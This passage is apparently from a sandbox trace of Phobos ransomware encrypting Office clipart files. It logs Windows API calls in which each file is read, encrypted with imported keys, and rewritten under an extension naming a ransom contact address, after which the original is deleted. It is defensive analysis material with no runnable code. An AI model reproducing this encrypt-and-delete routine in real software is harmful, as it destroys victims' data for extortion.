Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01173_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0132.722] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0132.722] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0132.722] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01173_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0132.723] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f990, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9ec | out: phKey=0x310f9ec*=0x752e18) returned 1 [0132.723] CryptSetKeyParam (hKey=0x752e18, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0132.723] ReadFile (in: hFile=0x30c, lpBuffer=0x367a020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fa14, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesRead=0x310fa14*=0x70c, lpOverlapped=0x0) returned 1 [0132.736] CryptEncrypt (in: hKey=0x752e18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x710, dwBufLen=0x710 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x710) returned 1 [0132.736] WriteFile (in: hFile=0x310, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0x710, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0x710, lpOverlapped=0x0) returned 1 [0132.737] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f984, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9f0 | out: phKey=0x310f9f0*=0x752b18) returned 1 [0132.737] CryptSetKeyParam (hKey=0x752b18, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0132.737] CryptEncrypt (in: hKey=0x752b18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40, dwBufLen=0x40 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40) returned 1 [0132.737] CryptDestroyKey (hKey=0x752b18) returned 1 [0132.737] WriteFile (in: hFile=0x310, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0xf2, lpOverlapped=0x0) returned 1 [0132.737] CryptDestroyKey (hKey=0x752e18) returned 1 [0132.737] CloseHandle (hObject=0x30c) returned 1 [0132.737] CloseHandle (hObject=0x310) returned 1 [0132.738] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01173_.wmf")) returned 1 [0132.739] SetEvent (hEvent=0x2b8) returned 1 [0132.739] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0132.739] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01178_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0132.739] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=3796) returned 1 [0132.739] CloseHandle (hObject=0x310) returned 1 [0132.739] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01178_.wmf")) returned 0x220 [0132.739] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01178_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.739] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01178_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0132.739] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0132.739] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0132.740] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01178_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0132.740] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f990, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9ec | out: phKey=0x310f9ec*=0x753018) returned 1 [0132.740] CryptSetKeyParam (hKey=0x753018, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0132.740] ReadFile (in: hFile=0x310, lpBuffer=0x367a020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fa14, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesRead=0x310fa14*=0xed4, lpOverlapped=0x0) returned 1 [0132.758] CryptEncrypt (in: hKey=0x753018, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0xee0, dwBufLen=0xee0 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0xee0) returned 1 [0132.758] WriteFile (in: hFile=0x30c, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0xee0, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0xee0, lpOverlapped=0x0) returned 1 [0132.759] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f984, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9f0 | out: phKey=0x310f9f0*=0x752f98) returned 1 [0132.759] CryptSetKeyParam (hKey=0x752f98, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0132.759] CryptEncrypt (in: hKey=0x752f98, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40, dwBufLen=0x40 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40) returned 1 [0132.759] CryptDestroyKey (hKey=0x752f98) returned 1 [0132.759] WriteFile (in: hFile=0x30c, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0xf2, lpOverlapped=0x0) returned 1 [0132.759] CryptDestroyKey (hKey=0x753018) returned 1 [0132.759] CloseHandle (hObject=0x310) returned 1 [0132.759] CloseHandle (hObject=0x30c) returned 1 [0132.759] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01178_.wmf")) returned 1 [0132.760] SetEvent (hEvent=0x2b8) returned 1 [0132.760] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0132.760] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01179_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0132.761] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=2024) returned 1 [0132.761] CloseHandle (hObject=0x30c) returned 1 [0132.761] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01179_.wmf")) returned 0x220 [0132.761] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01179_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.761] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01179_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0132.761] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0132.761] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0132.761] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01179_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0132.762] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f990, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9ec | out: phKey=0x310f9ec*=0x752e58) returned 1 [0132.762] CryptSetKeyParam (hKey=0x752e58, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0132.762] ReadFile (in: hFile=0x30c, lpBuffer=0x367a020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fa14, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesRead=0x310fa14*=0x7e8, lpOverlapped=0x0) returned 1 [0132.772] CryptEncrypt (in: hKey=0x752e58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x7f0, dwBufLen=0x7f0 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x7f0) returned 1 [0132.772] WriteFile (in: hFile=0x310, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0x7f0, lpOverlapped=0x0) returned 1 [0132.773] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f984, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9f0 | out: phKey=0x310f9f0*=0x752cd8) returned 1 [0132.773] CryptSetKeyParam (hKey=0x752cd8, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0132.773] CryptEncrypt (in: hKey=0x752cd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40, dwBufLen=0x40 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40) returned 1 [0132.773] CryptDestroyKey (hKey=0x752cd8) returned 1 [0132.773] WriteFile (in: hFile=0x310, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0xf2, lpOverlapped=0x0) returned 1 [0132.773] CryptDestroyKey (hKey=0x752e58) returned 1 [0132.773] CloseHandle (hObject=0x30c) returned 1 [0132.773] CloseHandle (hObject=0x310) returned 1 [0132.774] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01179_.wmf")) returned 1 [0132.775] SetEvent (hEvent=0x2b8) returned 1 [0132.775] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0132.775] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01181_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0132.775] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=1448) returned 1 [0132.775] CloseHandle (hObject=0x310) returned 1 [0132.775] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01181_.wmf")) returned 0x220 [0132.775] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01181_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.775] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01181_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0132.775] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0132.775] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0132.776] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01181_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0132.776] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f990, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9ec | out: phKey=0x310f9ec*=0x7531d8) returned 1 [0132.776] CryptSetKeyParam (hKey=0x7531d8, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0132.776] ReadFile (in: hFile=0x310, lpBuffer=0x367a020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fa14, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesRead=0x310fa14*=0x5a8, lpOverlapped=0x0) returned 1 [0132.807] CryptEncrypt (in: hKey=0x7531d8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x5b0, dwBufLen=0x5b0 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x5b0) returned 1 [0132.807] WriteFile (in: hFile=0x30c, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0x5b0, lpOverlapped=0x0) returned 1 [0132.808] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f984, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9f0 | out: phKey=0x310f9f0*=0x752dd8) returned 1 [0132.808] CryptSetKeyParam (hKey=0x752dd8, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0132.808] CryptEncrypt (in: hKey=0x752dd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40, dwBufLen=0x40 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40) returned 1 [0132.808] CryptDestroyKey (hKey=0x752dd8) returned 1 [0132.808] WriteFile (in: hFile=0x30c, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0xf2, lpOverlapped=0x0) returned 1 [0132.808] CryptDestroyKey (hKey=0x7531d8) returned 1 [0132.809] CloseHandle (hObject=0x310) returned 1 [0132.809] CloseHandle (hObject=0x30c) returned 1 [0132.809] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01181_.wmf")) returned 1 [0132.809] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0132.809] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01183_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0132.810] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=2296) returned 1 [0132.810] CloseHandle (hObject=0x30c) returned 1 [0132.810] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01183_.wmf")) returned 0x220 [0132.810] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01183_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.810] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01183_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0132.810] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0132.810] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0132.810] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01183_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0132.810] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f990, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9ec | out: phKey=0x310f9ec*=0x752d58) returned 1 [0132.811] CryptSetKeyParam (hKey=0x752d58, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0132.811] ReadFile (in: hFile=0x30c, lpBuffer=0x367a020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fa14, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesRead=0x310fa14*=0x8f8, lpOverlapped=0x0) returned 1 [0132.849] CryptEncrypt (in: hKey=0x752d58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x900, dwBufLen=0x900 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x900) returned 1 [0132.849] WriteFile (in: hFile=0x310, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0x900, lpOverlapped=0x0) returned 1 [0132.850] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f984, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9f0 | out: phKey=0x310f9f0*=0x753158) returned 1 [0132.850] CryptSetKeyParam (hKey=0x753158, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0132.851] CryptEncrypt (in: hKey=0x753158, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40, dwBufLen=0x40 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40) returned 1 [0132.851] CryptDestroyKey (hKey=0x753158) returned 1 [0132.851] WriteFile (in: hFile=0x310, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0xf2, lpOverlapped=0x0) returned 1 [0132.851] CryptDestroyKey (hKey=0x752d58) returned 1 [0132.851] CloseHandle (hObject=0x30c) returned 1 [0132.851] CloseHandle (hObject=0x310) returned 1 [0132.851] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01183_.wmf")) returned 1 [0132.852] SetEvent (hEvent=0x2b8) returned 1 [0132.852] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0132.852] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01186_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0132.852] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=8564) returned 1 [0132.852] CloseHandle (hObject=0x310) returned 1 [0132.852] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01186_.wmf")) returned 0x220 [0132.852] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01186_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.852] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01186_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0132.852] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0132.852] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0132.852] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01186_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0132.853] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f990, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9ec | out: phKey=0x310f9ec*=0x752c58) returned 1 [0132.853] CryptSetKeyParam (hKey=0x752c58, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0132.853] ReadFile (in: hFile=0x310, lpBuffer=0x367a020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fa14, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesRead=0x310fa14*=0x2174, lpOverlapped=0x0) returned 1 [0132.889] CryptEncrypt (in: hKey=0x752c58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x2180, dwBufLen=0x2180 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x2180) returned 1 [0132.889] WriteFile (in: hFile=0x30c, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0x2180, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0x2180, lpOverlapped=0x0) returned 1 [0132.890] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f984, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9f0 | out: phKey=0x310f9f0*=0x752fd8) returned 1 [0132.890] CryptSetKeyParam (hKey=0x752fd8, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0132.890] CryptEncrypt (in: hKey=0x752fd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40, dwBufLen=0x40 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40) returned 1 [0132.890] CryptDestroyKey (hKey=0x752fd8) returned 